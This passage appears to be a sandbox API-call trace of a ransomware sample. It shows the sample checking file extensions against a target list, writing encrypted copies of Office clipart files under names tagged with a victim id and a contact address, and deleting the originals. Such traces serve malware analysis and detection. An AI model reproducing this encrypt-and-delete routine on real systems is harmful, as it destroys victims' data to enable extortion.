	[0054.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.189] lstrlenW (lpString=".pdf") returned 4
	[0054.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.189] lstrlenW (lpString=".xls") returned 4
	[0054.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.190] lstrlenW (lpString=".xlsx") returned 5
	[0054.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.190] lstrlenW (lpString=".ppt") returned 4
	[0054.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0054.190] lstrlenW (lpString=".zip") returned 4
	[0054.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.190] lstrlenW (lpString=".rar") returned 4
	[0054.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.190] lstrlenW (lpString=".bz2") returned 4
	[0054.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.190] lstrlenW (lpString=".7z") returned 3
	[0054.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0054.190] lstrlenW (lpString=".dbf") returned 4
	[0054.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0054.190] lstrlenW (lpString=".1cd") returned 4
	[0054.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68
	[0054.190] lstrlenW (lpString=".jpg") returned 4
	[0054.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.191] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.191] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.191] GetLastError () returned 0x0
	[0054.191] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x2244, lpOverlapped=0x0) returned 1
	[0054.208] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2250, lpOverlapped=0x0) returned 1
	[0054.209] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.209] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.209] SetEndOfFile (hFile=0x384) returned 1
	[0054.209] CloseHandle (hObject=0x384) returned 1
	[0054.210] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.210] SetEndOfFile (hFile=0x348) returned 1
	[0054.210] CloseHandle (hObject=0x348) returned 1
	[0054.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1
	[0054.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0054.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0054.211] lstrlenW (lpString=".doc") returned 4
	[0054.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.211] lstrlenW (lpString=".docx") returned 5
	[0054.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.211] lstrlenW (lpString=".pdf") returned 4
	[0054.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.212] lstrlenW (lpString=".xls") returned 4
	[0054.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.212] lstrlenW (lpString=".xlsx") returned 5
	[0054.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.212] lstrlenW (lpString=".ppt") returned 4
	[0054.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0054.212] lstrlenW (lpString=".zip") returned 4
	[0054.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.212] lstrlenW (lpString=".rar") returned 4
	[0054.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.212] lstrlenW (lpString=".bz2") returned 4
	[0054.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.212] lstrlenW (lpString=".7z") returned 3
	[0054.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0054.212] lstrlenW (lpString=".dbf") returned 4
	[0054.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0054.212] lstrlenW (lpString=".1cd") returned 4
	[0054.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68
	[0054.212] lstrlenW (lpString=".jpg") returned 4
	[0054.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.213] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.213] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.213] GetLastError () returned 0x0
	[0054.213] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x3896, lpOverlapped=0x0) returned 1
	[0054.237] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x38a0, lpOverlapped=0x0) returned 1
	[0054.238] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.238] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.238] SetEndOfFile (hFile=0x384) returned 1
	[0054.239] CloseHandle (hObject=0x384) returned 1
	[0054.239] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.239] SetEndOfFile (hFile=0x348) returned 1
	[0054.240] CloseHandle (hObject=0x348) returned 1
	[0054.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1
	[0054.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0054.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0054.241] lstrlenW (lpString=".doc") returned 4
	[0054.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString=".docx") returned 5
	[0054.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.241] lstrlenW (lpString=".pdf") returned 4
	[0054.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString=".xls") returned 4
	[0054.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.241] lstrlenW (lpString=".xlsx") returned 5
	[0054.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.241] lstrlenW (lpString=".ppt") returned 4
	[0054.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0054.241] lstrlenW (lpString=".zip") returned 4
	[0054.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.241] lstrlenW (lpString=".rar") returned 4
	[0054.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString=".bz2") returned 4
	[0054.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString=".7z") returned 3
	[0054.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0054.241] lstrlenW (lpString=".dbf") returned 4
	[0054.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0054.241] lstrlenW (lpString=".1cd") returned 4
	[0054.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0054.242] lstrlenW (lpString=".jpg") returned 4
	[0054.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.242] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.242] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.242] GetLastError () returned 0x0
	[0054.242] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x30e8, lpOverlapped=0x0) returned 1
	[0054.243] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x30f0, lpOverlapped=0x0) returned 1
	[0054.244] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.244] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.244] SetEndOfFile (hFile=0x384) returned 1
	[0054.245] CloseHandle (hObject=0x384) returned 1
	[0054.246] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.246] SetEndOfFile (hFile=0x348) returned 1
	[0054.247] CloseHandle (hObject=0x348) returned 1
	[0054.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1
	[0054.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0054.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0054.247] lstrlenW (lpString=".doc") returned 4
	[0054.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.247] lstrlenW (lpString=".docx") returned 5
	[0054.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.247] lstrlenW (lpString=".pdf") returned 4
	[0054.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.248] lstrlenW (lpString=".xls") returned 4
	[0054.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.248] lstrlenW (lpString=".xlsx") returned 5
	[0054.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.248] lstrlenW (lpString=".ppt") returned 4
	[0054.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0054.248] lstrlenW (lpString=".zip") returned 4
	[0054.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.248] lstrlenW (lpString=".rar") returned 4
	[0054.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.248] lstrlenW (lpString=".bz2") returned 4
	[0054.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.248] lstrlenW (lpString=".7z") returned 3
	[0054.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0054.248] lstrlenW (lpString=".dbf") returned 4
	[0054.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0054.248] lstrlenW (lpString=".1cd") returned 4
	[0054.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0054.248] lstrlenW (lpString=".jpg") returned 4
	[0054.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.248] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.248] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.249] GetLastError () returned 0x0
	[0054.249] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x265a, lpOverlapped=0x0) returned 1
	[0054.261] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2660, lpOverlapped=0x0) returned 1
	[0054.262] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.262] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.262] SetEndOfFile (hFile=0x384) returned 1
	[0054.262] CloseHandle (hObject=0x384) returned 1
	[0054.263] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.263] SetEndOfFile (hFile=0x348) returned 1
	[0054.264] CloseHandle (hObject=0x348) returned 1
	[0054.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1
	[0054.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0054.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0054.265] lstrlenW (lpString=".doc") returned 4
	[0054.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString=".docx") returned 5
	[0054.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.265] lstrlenW (lpString=".pdf") returned 4
	[0054.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString=".xls") returned 4
	[0054.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.265] lstrlenW (lpString=".xlsx") returned 5
	[0054.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.265] lstrlenW (lpString=".ppt") returned 4
	[0054.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0054.265] lstrlenW (lpString=".zip") returned 4
	[0054.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.265] lstrlenW (lpString=".rar") returned 4
	[0054.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString=".bz2") returned 4
	[0054.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString=".7z") returned 3
	[0054.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0054.265] lstrlenW (lpString=".dbf") returned 4
	[0054.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0054.265] lstrlenW (lpString=".1cd") returned 4
	[0054.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0054.265] lstrlenW (lpString=".jpg") returned 4
	[0054.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.266] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.266] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0054.266] GetLastError () returned 0x0
	[0054.266] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x3f4, lpOverlapped=0x0) returned 1
	[0055.225] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x400, lpOverlapped=0x0) returned 1
	[0055.226] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.226] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0055.226] SetEndOfFile (hFile=0x384) returned 1
	[0055.226] CloseHandle (hObject=0x384) returned 1
	[0055.233] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.233] SetEndOfFile (hFile=0x348) returned 1
	[0055.234] CloseHandle (hObject=0x348) returned 1
	[0055.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0055.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1
	[0055.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0055.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0055.234] lstrlenW (lpString=".doc") returned 4
	[0055.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0055.235] lstrlenW (lpString=".docx") returned 5
	[0055.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0055.235] lstrlenW (lpString=".pdf") returned 4
	[0055.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0055.235] lstrlenW (lpString=".xls") returned 4
	[0055.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0055.235] lstrlenW (lpString=".xlsx") returned 5
	[0055.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0055.235] lstrlenW (lpString=".ppt") returned 4
	[0055.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0055.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0055.235] lstrlenW (lpString=".zip") returned 4
	[0055.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0055.235] lstrlenW (lpString=".rar") returned 4
	[0055.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0055.235] lstrlenW (lpString=".bz2") returned 4
	[0055.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0055.235] lstrlenW (lpString=".7z") returned 3
	[0055.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0055.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0055.235] lstrlenW (lpString=".dbf") returned 4
	[0055.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
